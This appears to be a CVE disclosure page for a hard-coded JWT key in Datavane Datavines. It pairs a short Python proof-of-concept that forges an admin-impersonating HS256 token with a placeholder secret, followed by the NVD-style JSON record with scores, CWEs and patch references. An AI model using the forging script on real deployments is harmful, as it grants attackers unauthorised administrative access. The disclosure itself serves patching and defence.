CVE-2026-7018

import jwt import datetime # Exploit for CVE-2026-7018: Hardcoded Cryptographic Key in Datavines # This script demonstrates how to forge a JWT token if the hardcoded key is known. # The hardcoded key extracted from the vulnerable source file HARDCODED_SECRET = "datavines_default_secret_key" # Example placeholder, actual key found in source def generate_malicious_token(): # Set the payload - modify 'user' and 'role' to escalate privileges payload = { # User ID to impersonate (e.g., admin) "userId": 1, "username": "admin", # Expiration time (e.g., 24 hours from now) "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "iat": datetime.datetime.utcnow() } # Encode the payload using the hardcoded secret key # The algorithm is usually HS256 for this type of vulnerability token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print("[+] Forged JWT Token generated:") print(token) return token if __name__ == "__main__": generate_malicious_token()

{"cve": {"id": "CVE-2026-7018", "sourceIdentifier": "[email protected]", "published": "2026-04-26T04:16:09.110", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Datavane Datavines up to 13607645e14a4982468cfdbcf75c85cde63bae71. The affected element is an unknown function of the file datavines-core/src/main/java/io/datavines/core/utils/TokenManager.java of the component JWT Token Handler. Executing a manipulation of the argument tokenSecret can lead to use of hard-coded cryptographic key\r . The attack can be executed remotely. The attack requires a high level of complexity. The exploitability is described as difficult. The exploit has been publicly disclosed and may be utilized. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. This patch is called e540d6dc04e2e6ad11907fb655f3728a13e7b939. It is advisable to implement a patch to correct this issue. The project was informed of the problem early through a pull request but has not reacted yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://github.com/datavane/datavines/", "source": "[email protected]"}, {"url": "https://github.com/datavane/datavines/issues/580", "source": "[email protected]"}, {"url": "https://github.com/datavane/datavines/issues/580#issue-4206839649", "source": "[email protected]"}, {"url": "https://github.com/datavane/datavines/pull/579", "source": "[email protected]"}, {"url": "https://github.com/datavane/datavines/pull/579/changes/e540d6dc04e2e6ad11907fb655f3728a13e7b939", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/797305", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359597", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359597/cti", "source": "[email protected]"}]}}